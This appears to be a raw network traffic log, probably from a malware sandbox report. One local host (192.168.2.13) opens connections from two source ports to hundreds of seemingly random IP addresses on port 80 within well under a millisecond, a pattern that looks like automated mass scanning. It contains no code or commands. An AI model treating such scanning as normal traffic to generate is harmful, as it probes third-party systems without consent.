Mar 21, 2024 05:21:47.396693945 CET	52016	80	192.168.2.13	109.228.180.164
Mar 21, 2024 05:21:47.396693945 CET	50992	80	192.168.2.13	140.54.7.2
Mar 21, 2024 05:21:47.396699905 CET	52016	80	192.168.2.13	146.100.83.14
Mar 21, 2024 05:21:47.396699905 CET	50992	80	192.168.2.13	115.226.46.56
Mar 21, 2024 05:21:47.396702051 CET	50992	80	192.168.2.13	149.92.248.168
Mar 21, 2024 05:21:47.396713972 CET	52016	80	192.168.2.13	89.36.127.63
Mar 21, 2024 05:21:47.396713972 CET	52016	80	192.168.2.13	18.182.154.156
Mar 21, 2024 05:21:47.396718979 CET	52016	80	192.168.2.13	87.228.255.122
Mar 21, 2024 05:21:47.396725893 CET	50992	80	192.168.2.13	208.238.185.231
Mar 21, 2024 05:21:47.396725893 CET	50992	80	192.168.2.13	48.243.93.70
Mar 21, 2024 05:21:47.396739006 CET	52016	80	192.168.2.13	18.71.174.3
Mar 21, 2024 05:21:47.396744013 CET	52016	80	192.168.2.13	125.202.175.48
Mar 21, 2024 05:21:47.396744967 CET	52016	80	192.168.2.13	143.211.207.97
Mar 21, 2024 05:21:47.396748066 CET	52016	80	192.168.2.13	177.241.205.134
Mar 21, 2024 05:21:47.396748066 CET	52016	80	192.168.2.13	73.5.54.92
Mar 21, 2024 05:21:47.396753073 CET	52016	80	192.168.2.13	12.137.217.18
Mar 21, 2024 05:21:47.396755934 CET	50992	80	192.168.2.13	33.252.97.76
Mar 21, 2024 05:21:47.396756887 CET	50992	80	192.168.2.13	51.139.240.89
Mar 21, 2024 05:21:47.396759033 CET	52016	80	192.168.2.13	53.144.93.62
Mar 21, 2024 05:21:47.396759033 CET	50992	80	192.168.2.13	4.58.48.56
Mar 21, 2024 05:21:47.396766901 CET	50992	80	192.168.2.13	187.163.198.252
Mar 21, 2024 05:21:47.396776915 CET	50992	80	192.168.2.13	249.29.254.132
Mar 21, 2024 05:21:47.396783113 CET	52016	80	192.168.2.13	219.11.15.112
Mar 21, 2024 05:21:47.396783113 CET	52016	80	192.168.2.13	18.141.119.82
Mar 21, 2024 05:21:47.396790028 CET	52016	80	192.168.2.13	140.96.205.136
Mar 21, 2024 05:21:47.396790028 CET	52016	80	192.168.2.13	51.122.172.50
Mar 21, 2024 05:21:47.396792889 CET	50992	80	192.168.2.13	53.30.124.220
Mar 21, 2024 05:21:47.396794081 CET	52016	80	192.168.2.13	18.61.7.28
Mar 21, 2024 05:21:47.396794081 CET	52016	80	192.168.2.13	177.116.125.205
Mar 21, 2024 05:21:47.396800041 CET	50992	80	192.168.2.13	102.7.190.170
Mar 21, 2024 05:21:47.396801949 CET	52016	80	192.168.2.13	87.73.230.84
Mar 21, 2024 05:21:47.396801949 CET	52016	80	192.168.2.13	95.19.122.244
Mar 21, 2024 05:21:47.396809101 CET	52016	80	192.168.2.13	99.208.92.238
Mar 21, 2024 05:21:47.396814108 CET	50992	80	192.168.2.13	81.158.45.190
Mar 21, 2024 05:21:47.396815062 CET	50992	80	192.168.2.13	79.251.49.25
Mar 21, 2024 05:21:47.396815062 CET	50992	80	192.168.2.13	140.76.120.56
Mar 21, 2024 05:21:47.396816015 CET	50992	80	192.168.2.13	220.192.227.246
Mar 21, 2024 05:21:47.396816015 CET	52016	80	192.168.2.13	81.247.18.232
Mar 21, 2024 05:21:47.396819115 CET	52016	80	192.168.2.13	149.64.171.208
Mar 21, 2024 05:21:47.396819115 CET	52016	80	192.168.2.13	122.254.140.55
Mar 21, 2024 05:21:47.396821976 CET	50992	80	192.168.2.13	79.61.35.172
Mar 21, 2024 05:21:47.396823883 CET	52016	80	192.168.2.13	150.159.142.228
Mar 21, 2024 05:21:47.396835089 CET	50992	80	192.168.2.13	248.94.214.20
Mar 21, 2024 05:21:47.396836042 CET	52016	80	192.168.2.13	135.80.188.84
Mar 21, 2024 05:21:47.396842957 CET	50992	80	192.168.2.13	8.198.62.105
Mar 21, 2024 05:21:47.396842957 CET	50992	80	192.168.2.13	117.112.150.168
Mar 21, 2024 05:21:47.396845102 CET	52016	80	192.168.2.13	104.27.129.82
Mar 21, 2024 05:21:47.396845102 CET	52016	80	192.168.2.13	67.17.197.175
Mar 21, 2024 05:21:47.396859884 CET	52016	80	192.168.2.13	223.137.167.188
Mar 21, 2024 05:21:47.396859884 CET	52016	80	192.168.2.13	69.114.38.203
Mar 21, 2024 05:21:47.396862030 CET	52016	80	192.168.2.13	150.121.42.150
Mar 21, 2024 05:21:47.396866083 CET	52016	80	192.168.2.13	219.114.217.198
Mar 21, 2024 05:21:47.396866083 CET	52016	80	192.168.2.13	200.253.44.99
Mar 21, 2024 05:21:47.396868944 CET	52016	80	192.168.2.13	59.117.174.151
Mar 21, 2024 05:21:47.396868944 CET	50992	80	192.168.2.13	182.237.208.99
Mar 21, 2024 05:21:47.396869898 CET	52016	80	192.168.2.13	98.252.47.15
Mar 21, 2024 05:21:47.396879911 CET	50992	80	192.168.2.13	57.240.33.112
Mar 21, 2024 05:21:47.396882057 CET	52016	80	192.168.2.13	97.140.130.209
Mar 21, 2024 05:21:47.396882057 CET	50992	80	192.168.2.13	221.129.3.235
Mar 21, 2024 05:21:47.396884918 CET	52016	80	192.168.2.13	48.218.131.21
Mar 21, 2024 05:21:47.396884918 CET	52016	80	192.168.2.13	201.137.219.29
Mar 21, 2024 05:21:47.396895885 CET	52016	80	192.168.2.13	101.147.36.46
Mar 21, 2024 05:21:47.396895885 CET	52016	80	192.168.2.13	105.170.183.52
Mar 21, 2024 05:21:47.396895885 CET	52016	80	192.168.2.13	73.221.37.71
Mar 21, 2024 05:21:47.396898985 CET	52016	80	192.168.2.13	86.100.215.138
Mar 21, 2024 05:21:47.396902084 CET	52016	80	192.168.2.13	66.250.174.69
Mar 21, 2024 05:21:47.396903992 CET	50992	80	192.168.2.13	179.160.28.173
Mar 21, 2024 05:21:47.396915913 CET	52016	80	192.168.2.13	157.140.21.31
Mar 21, 2024 05:21:47.396915913 CET	52016	80	192.168.2.13	64.202.51.220
Mar 21, 2024 05:21:47.396918058 CET	52016	80	192.168.2.13	177.177.236.77
Mar 21, 2024 05:21:47.396919966 CET	52016	80	192.168.2.13	145.249.240.152
Mar 21, 2024 05:21:47.396922112 CET	52016	80	192.168.2.13	90.129.226.241
Mar 21, 2024 05:21:47.396923065 CET	52016	80	192.168.2.13	92.65.243.154
Mar 21, 2024 05:21:47.396923065 CET	50992	80	192.168.2.13	15.119.121.46
Mar 21, 2024 05:21:47.396923065 CET	52016	80	192.168.2.13	74.44.22.18
Mar 21, 2024 05:21:47.396924973 CET	50992	80	192.168.2.13	194.11.102.134
Mar 21, 2024 05:21:47.396924973 CET	50992	80	192.168.2.13	86.208.216.10
Mar 21, 2024 05:21:47.396941900 CET	52016	80	192.168.2.13	180.104.183.159
Mar 21, 2024 05:21:47.396943092 CET	52016	80	192.168.2.13	150.91.153.131
Mar 21, 2024 05:21:47.396944046 CET	52016	80	192.168.2.13	137.237.234.253
Mar 21, 2024 05:21:47.396960020 CET	50992	80	192.168.2.13	78.51.201.12
Mar 21, 2024 05:21:47.396960020 CET	52016	80	192.168.2.13	185.26.238.201
Mar 21, 2024 05:21:47.396960974 CET	52016	80	192.168.2.13	157.65.116.59
Mar 21, 2024 05:21:47.396960974 CET	50992	80	192.168.2.13	188.162.118.207
Mar 21, 2024 05:21:47.396965981 CET	50992	80	192.168.2.13	196.212.23.205
Mar 21, 2024 05:21:47.396979094 CET	52016	80	192.168.2.13	133.165.206.218
Mar 21, 2024 05:21:47.396981955 CET	52016	80	192.168.2.13	209.136.214.20
Mar 21, 2024 05:21:47.396985054 CET	52016	80	192.168.2.13	107.163.247.56
Mar 21, 2024 05:21:47.396985054 CET	52016	80	192.168.2.13	31.232.56.252
Mar 21, 2024 05:21:47.396985054 CET	52016	80	192.168.2.13	87.234.61.244
Mar 21, 2024 05:21:47.396986961 CET	52016	80	192.168.2.13	52.20.48.186
Mar 21, 2024 05:21:47.396986961 CET	50992	80	192.168.2.13	86.232.140.178
Mar 21, 2024 05:21:47.396986961 CET	52016	80	192.168.2.13	86.173.55.107
Mar 21, 2024 05:21:47.396986961 CET	50992	80	192.168.2.13	97.86.179.216
Mar 21, 2024 05:21:47.396986961 CET	52016	80	192.168.2.13	80.84.182.120
Mar 21, 2024 05:21:47.396990061 CET	50992	80	192.168.2.13	128.136.34.149
Mar 21, 2024 05:21:47.396991014 CET	50992	80	192.168.2.13	128.19.115.156
Mar 21, 2024 05:21:47.396991014 CET	52016	80	192.168.2.13	146.66.23.66
Mar 21, 2024 05:21:47.396991968 CET	50992	80	192.168.2.13	247.222.186.211
Mar 21, 2024 05:21:47.396995068 CET	52016	80	192.168.2.13	111.164.50.88
Mar 21, 2024 05:21:47.396995068 CET	52016	80	192.168.2.13	184.181.210.21
Mar 21, 2024 05:21:47.397008896 CET	52016	80	192.168.2.13	204.46.198.157
Mar 21, 2024 05:21:47.397008896 CET	52016	80	192.168.2.13	206.155.154.1
Mar 21, 2024 05:21:47.397008896 CET	50992	80	192.168.2.13	139.248.165.182
Mar 21, 2024 05:21:47.397008896 CET	52016	80	192.168.2.13	8.200.236.74
Mar 21, 2024 05:21:47.397008896 CET	50992	80	192.168.2.13	245.96.239.194
Mar 21, 2024 05:21:47.397011995 CET	50992	80	192.168.2.13	140.185.20.119
Mar 21, 2024 05:21:47.397020102 CET	50992	80	192.168.2.13	23.129.5.153
Mar 21, 2024 05:21:47.397020102 CET	52016	80	192.168.2.13	196.0.109.244
Mar 21, 2024 05:21:47.397023916 CET	50992	80	192.168.2.13	70.165.117.39
Mar 21, 2024 05:21:47.397023916 CET	50992	80	192.168.2.13	33.198.74.146
Mar 21, 2024 05:21:47.397023916 CET	50992	80	192.168.2.13	59.34.59.78
Mar 21, 2024 05:21:47.397025108 CET	52016	80	192.168.2.13	31.206.148.121
Mar 21, 2024 05:21:47.397025108 CET	52016	80	192.168.2.13	88.46.166.95
Mar 21, 2024 05:21:47.397026062 CET	50992	80	192.168.2.13	59.79.114.194
Mar 21, 2024 05:21:47.397027016 CET	52016	80	192.168.2.13	184.98.83.245
Mar 21, 2024 05:21:47.397038937 CET	52016	80	192.168.2.13	19.48.172.129
Mar 21, 2024 05:21:47.397039890 CET	50992	80	192.168.2.13	52.214.195.24
Mar 21, 2024 05:21:47.397041082 CET	52016	80	192.168.2.13	137.11.79.168
Mar 21, 2024 05:21:47.397042990 CET	52016	80	192.168.2.13	61.150.220.142
Mar 21, 2024 05:21:47.397053957 CET	52016	80	192.168.2.13	64.119.240.97
Mar 21, 2024 05:21:47.397059917 CET	50992	80	192.168.2.13	4.197.109.40
Mar 21, 2024 05:21:47.397059917 CET	52016	80	192.168.2.13	109.141.253.172
Mar 21, 2024 05:21:47.397059917 CET	52016	80	192.168.2.13	98.134.141.125
Mar 21, 2024 05:21:47.397068024 CET	52016	80	192.168.2.13	154.93.142.249
Mar 21, 2024 05:21:47.397072077 CET	50992	80	192.168.2.13	28.232.118.227
Mar 21, 2024 05:21:47.397072077 CET	50992	80	192.168.2.13	58.227.27.30
Mar 21, 2024 05:21:47.397073984 CET	52016	80	192.168.2.13	36.27.237.205
Mar 21, 2024 05:21:47.397073984 CET	52016	80	192.168.2.13	213.243.172.51
Mar 21, 2024 05:21:47.397073984 CET	50992	80	192.168.2.13	158.70.14.184
Mar 21, 2024 05:21:47.397075891 CET	52016	80	192.168.2.13	195.81.253.170
Mar 21, 2024 05:21:47.397085905 CET	50992	80	192.168.2.13	243.241.130.84
Mar 21, 2024 05:21:47.397087097 CET	50992	80	192.168.2.13	54.27.202.140
Mar 21, 2024 05:21:47.397093058 CET	52016	80	192.168.2.13	23.255.48.9
Mar 21, 2024 05:21:47.397093058 CET	52016	80	192.168.2.13	217.16.245.141
Mar 21, 2024 05:21:47.397093058 CET	52016	80	192.168.2.13	189.198.197.74
Mar 21, 2024 05:21:47.397093058 CET	50992	80	192.168.2.13	114.131.134.99
Mar 21, 2024 05:21:47.397094011 CET	52016	80	192.168.2.13	166.205.151.127
Mar 21, 2024 05:21:47.397099972 CET	50992	80	192.168.2.13	48.245.39.242
Mar 21, 2024 05:21:47.397109032 CET	50992	80	192.168.2.13	151.156.200.26
Mar 21, 2024 05:21:47.397109032 CET	52016	80	192.168.2.13	46.20.7.157
Mar 21, 2024 05:21:47.397109032 CET	50992	80	192.168.2.13	144.80.50.83
Mar 21, 2024 05:21:47.397105932 CET	50992	80	192.168.2.13	168.187.85.95
Mar 21, 2024 05:21:47.397105932 CET	50992	80	192.168.2.13	139.196.38.217
Mar 21, 2024 05:21:47.397105932 CET	52016	80	192.168.2.13	80.183.178.180
Mar 21, 2024 05:21:47.397115946 CET	52016	80	192.168.2.13	173.94.48.85
Mar 21, 2024 05:21:47.397115946 CET	50992	80	192.168.2.13	248.86.173.173
Mar 21, 2024 05:21:47.397118092 CET	52016	80	192.168.2.13	46.163.102.79
Mar 21, 2024 05:21:47.397118092 CET	50992	80	192.168.2.13	150.254.66.114
Mar 21, 2024 05:21:47.397133112 CET	52016	80	192.168.2.13	199.238.228.244
Mar 21, 2024 05:21:47.397135973 CET	52016	80	192.168.2.13	49.19.47.82
Mar 21, 2024 05:21:47.397135973 CET	50992	80	192.168.2.13	18.105.147.241
Mar 21, 2024 05:21:47.397135973 CET	50992	80	192.168.2.13	159.184.4.44
Mar 21, 2024 05:21:47.397140026 CET	50992	80	192.168.2.13	26.123.30.207
Mar 21, 2024 05:21:47.397140026 CET	52016	80	192.168.2.13	124.164.211.62
Mar 21, 2024 05:21:47.397142887 CET	52016	80	192.168.2.13	207.71.37.163
Mar 21, 2024 05:21:47.397142887 CET	52016	80	192.168.2.13	89.216.73.170
Mar 21, 2024 05:21:47.397142887 CET	52016	80	192.168.2.13	133.48.159.44
Mar 21, 2024 05:21:47.397149086 CET	52016	80	192.168.2.13	169.29.194.166
Mar 21, 2024 05:21:47.397149086 CET	50992	80	192.168.2.13	32.193.30.160
Mar 21, 2024 05:21:47.397154093 CET	52016	80	192.168.2.13	68.179.139.38
Mar 21, 2024 05:21:47.397172928 CET	52016	80	192.168.2.13	208.113.1.210
Mar 21, 2024 05:21:47.397175074 CET	52016	80	192.168.2.13	38.240.43.23
Mar 21, 2024 05:21:47.397172928 CET	50992	80	192.168.2.13	121.211.152.93
Mar 21, 2024 05:21:47.397175074 CET	50992	80	192.168.2.13	36.27.236.204
Mar 21, 2024 05:21:47.397176027 CET	52016	80	192.168.2.13	13.120.161.194
Mar 21, 2024 05:21:47.397172928 CET	52016	80	192.168.2.13	79.30.165.170
Mar 21, 2024 05:21:47.397176027 CET	50992	80	192.168.2.13	80.132.215.114
Mar 21, 2024 05:21:47.397180080 CET	50992	80	192.168.2.13	66.218.123.144
Mar 21, 2024 05:21:47.397180080 CET	52016	80	192.168.2.13	20.48.132.216
Mar 21, 2024 05:21:47.397176027 CET	50992	80	192.168.2.13	16.125.249.53
Mar 21, 2024 05:21:47.397183895 CET	50992	80	192.168.2.13	70.48.240.109
Mar 21, 2024 05:21:47.397180080 CET	52016	80	192.168.2.13	145.247.134.90
Mar 21, 2024 05:21:47.397181988 CET	50992	80	192.168.2.13	7.249.169.24
Mar 21, 2024 05:21:47.397176027 CET	50992	80	192.168.2.13	131.175.61.253
Mar 21, 2024 05:21:47.397183895 CET	52016	80	192.168.2.13	222.72.30.91
Mar 21, 2024 05:21:47.397181988 CET	52016	80	192.168.2.13	213.130.203.12
Mar 21, 2024 05:21:47.397176027 CET	52016	80	192.168.2.13	105.17.245.230
Mar 21, 2024 05:21:47.397176027 CET	50992	80	192.168.2.13	210.104.239.178
Mar 21, 2024 05:21:47.397183895 CET	52016	80	192.168.2.13	32.46.234.112
Mar 21, 2024 05:21:47.397176027 CET	52016	80	192.168.2.13	112.110.216.131
Mar 21, 2024 05:21:47.397185087 CET	50992	80	192.168.2.13	181.181.17.136
Mar 21, 2024 05:21:47.397176027 CET	52016	80	192.168.2.13	123.137.230.133
Mar 21, 2024 05:21:47.397180080 CET	50992	80	192.168.2.13	123.107.174.41
Mar 21, 2024 05:21:47.397176027 CET	52016	80	192.168.2.13	8.215.140.163
Mar 21, 2024 05:21:47.397176027 CET	52016	80	192.168.2.13	79.170.234.18
Mar 21, 2024 05:21:47.397208929 CET	50992	80	192.168.2.13	22.85.52.51
Mar 21, 2024 05:21:47.397208929 CET	50992	80	192.168.2.13	35.147.93.226
Mar 21, 2024 05:21:47.397218943 CET	52016	80	192.168.2.13	126.72.73.212
Mar 21, 2024 05:21:47.397218943 CET	52016	80	192.168.2.13	159.52.215.87
Mar 21, 2024 05:21:47.397218943 CET	52016	80	192.168.2.13	175.224.206.87
Mar 21, 2024 05:21:47.397218943 CET	52016	80	192.168.2.13	46.45.131.24
Mar 21, 2024 05:21:47.397218943 CET	52016	80	192.168.2.13	93.44.152.104
Mar 21, 2024 05:21:47.397218943 CET	52016	80	192.168.2.13	146.223.198.121
Mar 21, 2024 05:21:47.397218943 CET	52016	80	192.168.2.13	96.185.11.97
Mar 21, 2024 05:21:47.397218943 CET	50992	80	192.168.2.13	137.65.243.239
Mar 21, 2024 05:21:47.397226095 CET	50992	80	192.168.2.13	135.205.140.44
Mar 21, 2024 05:21:47.397226095 CET	52016	80	192.168.2.13	137.100.189.94
Mar 21, 2024 05:21:47.397226095 CET	52016	80	192.168.2.13	191.9.227.213
Mar 21, 2024 05:21:47.397226095 CET	52016	80	192.168.2.13	128.108.174.239
Mar 21, 2024 05:21:47.397226095 CET	50992	80	192.168.2.13	90.203.255.29
Mar 21, 2024 05:21:47.397226095 CET	50992	80	192.168.2.13	33.231.39.241
Mar 21, 2024 05:21:47.397229910 CET	52016	80	192.168.2.13	139.69.188.164
Mar 21, 2024 05:21:47.397229910 CET	52016	80	192.168.2.13	137.141.11.206
Mar 21, 2024 05:21:47.397229910 CET	52016	80	192.168.2.13	134.7.231.210
Mar 21, 2024 05:21:47.397229910 CET	50992	80	192.168.2.13	83.95.205.236
Mar 21, 2024 05:21:47.397229910 CET	50992	80	192.168.2.13	251.194.37.252
Mar 21, 2024 05:21:47.397229910 CET	50992	80	192.168.2.13	38.254.69.83
Mar 21, 2024 05:21:47.397229910 CET	52016	80	192.168.2.13	153.232.94.191
Mar 21, 2024 05:21:47.397234917 CET	52016	80	192.168.2.13	126.210.135.225
Mar 21, 2024 05:21:47.397234917 CET	50992	80	192.168.2.13	171.138.159.236
Mar 21, 2024 05:21:47.397234917 CET	50992	80	192.168.2.13	215.3.15.179
Mar 21, 2024 05:21:47.397236109 CET	52016	80	192.168.2.13	212.65.186.136
Mar 21, 2024 05:21:47.397236109 CET	52016	80	192.168.2.13	132.246.194.119
Mar 21, 2024 05:21:47.397236109 CET	50992	80	192.168.2.13	45.130.87.118
Mar 21, 2024 05:21:47.397236109 CET	52016	80	192.168.2.13	151.160.97.61
Mar 21, 2024 05:21:47.397238970 CET	52016	80	192.168.2.13	71.11.170.1
Mar 21, 2024 05:21:47.397250891 CET	50992	80	192.168.2.13	69.172.83.114
Mar 21, 2024 05:21:47.397250891 CET	52016	80	192.168.2.13	150.63.14.128
Mar 21, 2024 05:21:47.397250891 CET	52016	80	192.168.2.13	126.65.71.43
Mar 21, 2024 05:21:47.397250891 CET	52016	80	192.168.2.13	92.44.160.69
Mar 21, 2024 05:21:47.397250891 CET	52016	80	192.168.2.13	92.248.244.227
Mar 21, 2024 05:21:47.397250891 CET	50992	80	192.168.2.13	2.143.10.39
Mar 21, 2024 05:21:47.397250891 CET	52016	80	192.168.2.13	188.195.20.13
Mar 21, 2024 05:21:47.397274971 CET	52016	80	192.168.2.13	2.28.238.73
Mar 21, 2024 05:21:47.397274971 CET	52016	80	192.168.2.13	45.93.191.220
Mar 21, 2024 05:21:47.397274971 CET	52016	80	192.168.2.13	168.248.208.175
Mar 21, 2024 05:21:47.397274971 CET	50992	80	192.168.2.13	51.111.55.237
Mar 21, 2024 05:21:47.397274971 CET	50992	80	192.168.2.13	246.141.96.236
Mar 21, 2024 05:21:47.397278070 CET	52016	80	192.168.2.13	195.215.255.118
Mar 21, 2024 05:21:47.397278070 CET	50992	80	192.168.2.13	105.132.102.206
Mar 21, 2024 05:21:47.397278070 CET	52016	80	192.168.2.13	222.149.156.213
Mar 21, 2024 05:21:47.397279024 CET	50992	80	192.168.2.13	27.249.121.104
Mar 21, 2024 05:21:47.397278070 CET	52016	80	192.168.2.13	109.246.69.218
Mar 21, 2024 05:21:47.397279978 CET	52016	80	192.168.2.13	67.42.168.107
Mar 21, 2024 05:21:47.397278070 CET	52016	80	192.168.2.13	109.220.117.17
Mar 21, 2024 05:21:47.397279978 CET	52016	80	192.168.2.13	205.245.86.148
Mar 21, 2024 05:21:47.397278070 CET	52016	80	192.168.2.13	44.11.223.174
Mar 21, 2024 05:21:47.397279978 CET	50992	80	192.168.2.13	15.28.130.30
Mar 21, 2024 05:21:47.397278070 CET	50992	80	192.168.2.13	130.72.88.134
Mar 21, 2024 05:21:47.397279978 CET	52016	80	192.168.2.13	37.22.20.205
Mar 21, 2024 05:21:47.397278070 CET	52016	80	192.168.2.13	115.236.101.49
Mar 21, 2024 05:21:47.397279978 CET	52016	80	192.168.2.13	187.180.184.104
Mar 21, 2024 05:21:47.397279978 CET	50992	80	192.168.2.13	80.148.0.245
Mar 21, 2024 05:21:47.397279978 CET	52016	80	192.168.2.13	200.204.76.59
Mar 21, 2024 05:21:47.397279978 CET	52016	80	192.168.2.13	104.104.9.38
Mar 21, 2024 05:21:47.397279978 CET	50992	80	192.168.2.13	157.109.136.98
Mar 21, 2024 05:21:47.397279978 CET	50992	80	192.168.2.13	138.228.92.140
Mar 21, 2024 05:21:47.397279978 CET	52016	80	192.168.2.13	145.132.145.27
Mar 21, 2024 05:21:47.397289991 CET	52016	80	192.168.2.13	34.87.135.245
Mar 21, 2024 05:21:47.397289991 CET	52016	80	192.168.2.13	62.184.53.14
Mar 21, 2024 05:21:47.397289991 CET	52016	80	192.168.2.13	70.244.246.10
Mar 21, 2024 05:21:47.397289991 CET	52016	80	192.168.2.13	102.199.111.141
Mar 21, 2024 05:21:47.397305965 CET	50992	80	192.168.2.13	159.48.198.148
Mar 21, 2024 05:21:47.397306919 CET	50992	80	192.168.2.13	210.90.90.123
Mar 21, 2024 05:21:47.397305965 CET	50992	80	192.168.2.13	100.162.111.27
Mar 21, 2024 05:21:47.397306919 CET	52016	80	192.168.2.13	74.17.146.126
Mar 21, 2024 05:21:47.397305965 CET	52016	80	192.168.2.13	123.219.164.205
Mar 21, 2024 05:21:47.397306919 CET	52016	80	192.168.2.13	40.22.6.18
Mar 21, 2024 05:21:47.397306919 CET	52016	80	192.168.2.13	161.151.213.200
Mar 21, 2024 05:21:47.397306919 CET	50992	80	192.168.2.13	223.98.103.130
Mar 21, 2024 05:21:47.397306919 CET	52016	80	192.168.2.13	89.208.172.126
Mar 21, 2024 05:21:47.397306919 CET	52016	80	192.168.2.13	72.144.9.147
Mar 21, 2024 05:21:47.397306919 CET	52016	80	192.168.2.13	86.142.237.161
Mar 21, 2024 05:21:47.397308111 CET	52016	80	192.168.2.13	53.254.169.127
Mar 21, 2024 05:21:47.397306919 CET	52016	80	192.168.2.13	67.86.186.57
Mar 21, 2024 05:21:47.397306919 CET	50992	80	192.168.2.13	207.254.122.241
Mar 21, 2024 05:21:47.397308111 CET	52016	80	192.168.2.13	99.224.213.215
Mar 21, 2024 05:21:47.397306919 CET	50992	80	192.168.2.13	181.18.245.33
Mar 21, 2024 05:21:47.397308111 CET	50992	80	192.168.2.13	10.220.199.97
Mar 21, 2024 05:21:47.397306919 CET	52016	80	192.168.2.13	109.131.108.242
Mar 21, 2024 05:21:47.397306919 CET	52016	80	192.168.2.13	203.138.67.66
Mar 21, 2024 05:21:47.397306919 CET	50992	80	192.168.2.13	192.51.156.129
Mar 21, 2024 05:21:47.397306919 CET	52016	80	192.168.2.13	159.147.162.82
Mar 21, 2024 05:21:47.397306919 CET	52016	80	192.168.2.13	132.208.30.204
Mar 21, 2024 05:21:47.397337914 CET	50992	80	192.168.2.13	43.203.198.226
Mar 21, 2024 05:21:47.397337914 CET	50992	80	192.168.2.13	202.120.27.18
Mar 21, 2024 05:21:47.397337914 CET	50992	80	192.168.2.13	206.229.200.44
Mar 21, 2024 05:21:47.397337914 CET	52016	80	192.168.2.13	37.85.45.78
Mar 21, 2024 05:21:47.397337914 CET	50992	80	192.168.2.13	87.89.167.139
Mar 21, 2024 05:21:47.397337914 CET	50992	80	192.168.2.13	184.57.57.25
Mar 21, 2024 05:21:47.397339106 CET	52016	80	192.168.2.13	198.111.225.22
Mar 21, 2024 05:21:47.397339106 CET	52016	80	192.168.2.13	63.49.59.37
Mar 21, 2024 05:21:47.397345066 CET	52016	80	192.168.2.13	92.111.151.121
Mar 21, 2024 05:21:47.397345066 CET	52016	80	192.168.2.13	25.220.77.178
Mar 21, 2024 05:21:47.397345066 CET	50992	80	192.168.2.13	135.2.225.165
Mar 21, 2024 05:21:47.397345066 CET	50992	80	192.168.2.13	61.107.37.140
Mar 21, 2024 05:21:47.397345066 CET	50992	80	192.168.2.13	21.160.214.17
Mar 21, 2024 05:21:47.397345066 CET	50992	80	192.168.2.13	241.198.90.76
Mar 21, 2024 05:21:47.397345066 CET	50992	80	192.168.2.13	160.13.80.99
Mar 21, 2024 05:21:47.397345066 CET	52016	80	192.168.2.13	71.220.213.230
Mar 21, 2024 05:21:47.397355080 CET	52016	80	192.168.2.13	35.111.18.98
Mar 21, 2024 05:21:47.397355080 CET	52016	80	192.168.2.13	154.4.23.138
Mar 21, 2024 05:21:47.397355080 CET	50992	80	192.168.2.13	167.153.126.43
Mar 21, 2024 05:21:47.397371054 CET	52016	80	192.168.2.13	2.176.249.197
Mar 21, 2024 05:21:47.397371054 CET	52016	80	192.168.2.13	41.240.12.235
Mar 21, 2024 05:21:47.397371054 CET	52016	80	192.168.2.13	107.128.3.131
Mar 21, 2024 05:21:47.397371054 CET	52016	80	192.168.2.13	190.173.197.77
Mar 21, 2024 05:21:47.397371054 CET	52016	80	192.168.2.13	139.206.37.1
Mar 21, 2024 05:21:47.397371054 CET	52016	80	192.168.2.13	90.172.174.246
Mar 21, 2024 05:21:47.397371054 CET	50992	80	192.168.2.13	162.165.15.15
Mar 21, 2024 05:21:47.397371054 CET	52016	80	192.168.2.13	36.226.103.171
Mar 21, 2024 05:21:47.397373915 CET	52016	80	192.168.2.13	129.25.180.185
Mar 21, 2024 05:21:47.397373915 CET	52016	80	192.168.2.13	93.236.239.176
Mar 21, 2024 05:21:47.397375107 CET	50992	80	192.168.2.13	91.230.11.104
Mar 21, 2024 05:21:47.397375107 CET	52016	80	192.168.2.13	177.160.82.121
Mar 21, 2024 05:21:47.397375107 CET	52016	80	192.168.2.13	153.80.162.63
Mar 21, 2024 05:21:47.397375107 CET	52016	80	192.168.2.13	140.223.240.121
Mar 21, 2024 05:21:47.397375107 CET	50992	80	192.168.2.13	6.197.191.50
Mar 21, 2024 05:21:47.397375107 CET	52016	80	192.168.2.13	173.126.137.88
Mar 21, 2024 05:21:47.397403955 CET	52016	80	192.168.2.13	128.78.239.151
Mar 21, 2024 05:21:47.397404909 CET	52016	80	192.168.2.13	75.239.215.225
Mar 21, 2024 05:21:47.397404909 CET	50992	80	192.168.2.13	101.17.10.123
Mar 21, 2024 05:21:47.397404909 CET	52016	80	192.168.2.13	221.132.231.13
Mar 21, 2024 05:21:47.397404909 CET	52016	80	192.168.2.13	179.144.194.188
Mar 21, 2024 05:21:47.397404909 CET	52016	80	192.168.2.13	217.49.3.106
Mar 21, 2024 05:21:47.397404909 CET	52016	80	192.168.2.13	198.29.89.12
Mar 21, 2024 05:21:47.397404909 CET	52016	80	192.168.2.13	162.214.168.129
Mar 21, 2024 05:21:47.397412062 CET	52016	80	192.168.2.13	157.54.31.149
Mar 21, 2024 05:21:47.397412062 CET	50992	80	192.168.2.13	79.86.128.210
Mar 21, 2024 05:21:47.397412062 CET	52016	80	192.168.2.13	174.20.8.180
Mar 21, 2024 05:21:47.397412062 CET	50992	80	192.168.2.13	29.233.141.132
Mar 21, 2024 05:21:47.397412062 CET	50992	80	192.168.2.13	123.48.205.6
Mar 21, 2024 05:21:47.397412062 CET	52016	80	192.168.2.13	194.228.2.215
Mar 21, 2024 05:21:47.397412062 CET	50992	80	192.168.2.13	253.2.182.171
Mar 21, 2024 05:21:47.397412062 CET	52016	80	192.168.2.13	81.208.100.244
Mar 21, 2024 05:21:47.397448063 CET	50992	80	192.168.2.13	183.170.189.160
Mar 21, 2024 05:21:47.397448063 CET	52016	80	192.168.2.13	76.208.32.47
Mar 21, 2024 05:21:47.397448063 CET	52016	80	192.168.2.13	145.165.132.86
Mar 21, 2024 05:21:47.397448063 CET	50992	80	192.168.2.13	244.141.150.109
Mar 21, 2024 05:21:47.397448063 CET	52016	80	192.168.2.13	185.46.183.82
Mar 21, 2024 05:21:47.397448063 CET	50992	80	192.168.2.13	93.238.82.22
Mar 21, 2024 05:21:47.397448063 CET	52016	80	192.168.2.13	205.185.148.32
Mar 21, 2024 05:21:47.397448063 CET	52016	80	192.168.2.13	14.85.101.142
Mar 21, 2024 05:21:47.397452116 CET	50992	80	192.168.2.13	84.218.223.255
Mar 21, 2024 05:21:47.397452116 CET	50992	80	192.168.2.13	122.150.47.69
Mar 21, 2024 05:21:47.397452116 CET	52016	80	192.168.2.13	204.198.212.99
Mar 21, 2024 05:21:47.397452116 CET	50992	80	192.168.2.13	44.208.166.162
Mar 21, 2024 05:21:47.397452116 CET	50992	80	192.168.2.13	6.174.228.3
Mar 21, 2024 05:21:47.397452116 CET	50992	80	192.168.2.13	175.130.179.37
